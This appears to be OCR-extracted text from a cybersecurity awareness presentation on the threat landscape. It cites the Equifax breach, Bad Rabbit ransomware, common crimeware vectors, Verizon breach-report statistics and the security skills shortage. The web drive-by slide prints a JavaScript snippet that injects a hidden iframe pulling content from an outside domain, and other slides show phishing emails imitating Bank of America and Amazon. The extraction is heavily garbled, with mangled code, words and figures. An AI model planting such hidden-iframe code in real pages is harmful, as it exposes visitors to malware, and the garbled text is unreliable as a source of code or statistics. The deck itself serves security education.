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The Evolving Threat Landscape o1
Giant Equifax data breach: 143 million >$1 BILLION

people could be affected

Equifax says a giant cybersecurity breach compromised the personal information of
as many as 143 million Americans 8 almost half the country
CNNtech | September 8, 2017: 9:23 AM ET 2017
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SELF PROPOGATE

Bad Rabbit: Game of Thrones- ' aa Analysis
referencing ransomware hits Europe & Service

NotPetya-st yl e mal ware i nfects Kievdés metro system, Odessa airport and Ru
media, demanding bitcoin for decryption key .
The Guardian | Wednesday 25 October 2017 06.06 EDT s A Ad a pt I ve
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Concern #1 The Enterprise Attack Surface is Broad

Top 5 Avenues for Crimeware

Email Attachment

Web drive-by

Email link

Download malware -
Network propagation -

Phishing
# 1 Malvertisement

Incident count
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Source: Verizon. 2016 Df;ta Breach Investigations Report. 2016.



What are the Most Common Threat Vectors?
All Rely on Social Engineering

EMAIL ATTACHMENT
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Add-Ins Adobe PDF

Message

SIS A ST T

Reply Reply Forward Delete Moveto Create |

to All Folder~ Rule A«
Respond Actions
From: Bank of America [auto.bot@verify.com]
To: undisclosed-recipients:
Cc
Subject: Yo i age!!
= Messa{!} restore account.html (965 B) >
\ /
To view your megl e, please download tF
Thank you
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WEB-DRIVE-BY

if (document.getElementsByTagName( 'body') [0]) {
iframer();
} else {
var bdy =
try {
document.appendChild(bdy);
} catch (e) {
document.body =
}

if (document.getElementsByTagName('body') [0]) {
iframer();

document.createElement("body");

bdy;

} else {

document.Write("<iframe src='http://sativaon))ine.nt
style='vis? ity:hidden;position:absolutesfeft:0;1
}

}

function iframer() {

var T = document.creatg
f.setAttribute('src’',
f.style.visi. ';fT.st
® ';f.setAttribute(

iframe');
ivaonline.net/QQkf

10 ');f.setAttribute(’

height ',

10:4);
document.getElementsByTagName( '
body ') [@].appendChild(f);

} (index):37

EMAIL LINK

amazon

Due to a sytem error you were double charged |
process was initiated but could not be complete
information

REF CODE:2550CGE

You are required to provide us a valid billing adc

Click Here to Update Your Address

After your information has been validated you sl
business days
We hope to, jain soon.
Amazon.g
Email ID:
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Time To Discover a Breach
For the majority, TTD is too long and it is already too late!

Compromise

Most compromises K748
took minutes, or less [

Two-thirds went F7Y:T74
undiscovered

for months

or more

' Only 3% are

* discovered
- as quickly
Months Weeks Days Hours Minutes Minutes Hours Days Weeks Months
< Before the compromise Elapsed time After the compromise >

Verizon 2018 Data Breach Investigations Report
https://enterprise.verizon.com/resources/reports/DBIR_2018_Report_execsummary.pdf
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Cyber Skills Shortage

ISACA members who believe there is a shortage
of skilled cybersecurity professionals (%)

UK USA
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report skills shortage holding
87& 86% 85% 86% them back, up from 59% last year

expect to increase team size

next year, compounding the issue

HARVEY
India LATAM Oceania Globally NASH

The Power of Talent




Why Are the Criminals So Successful?

THEY HAVE
A COMMON GOAL

THEY TALK
to each other

THEY TRADE
with each other

They are
NOT LIMITED BY RULES

THEY INTEGRATE THEY SHARE
their tools together intellectual property
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